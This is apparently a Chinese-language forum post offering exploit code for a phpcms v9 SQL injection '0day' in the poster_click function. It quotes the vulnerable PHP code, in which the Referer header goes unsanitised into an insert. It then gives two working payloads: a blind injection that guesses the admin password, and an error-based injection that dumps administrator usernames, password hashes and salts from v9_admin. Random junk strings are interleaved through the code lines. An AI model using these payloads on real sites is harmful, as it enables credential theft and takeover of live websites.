phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
- b: b$ `% X/ Q$ q: m
4 n* z7 p  P) [4 }: b$ [8 apublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
& s4 {8 L' f1 c, i" [! K( x# Z6 ?$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# N. }; Z! u( q6 s6 z6 _: Oif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
) ?1 P$ w' ^2 Z  V& X  y}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$ E/ E( R& I5 I$ `0 f+ T- h$setting = string2array($r['setting']);
if (count($setting)==1) {
, Q# q) d8 w7 W3 l8 F$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}



利用方式：
2 @: W* ^! _' R  q  Y; T5 T" i
8 _* j' E: Y& G) d9 ]: U0 R1、可以采用盲注入的手法：

" a! Q+ [+ D( G) creferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
; s, d% _1 Q! C+ n/ B* D0 N
9 q! a/ y. I& ~通过返回页面，正常与否一个个猜解密码字段。
6 I! t$ u' w) j; g  k
/ u2 ~0 n% t; @* Z+ S) D/ v2、代码是花开写的，随手附上了：

; ?$ G8 b" t7 E. L1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
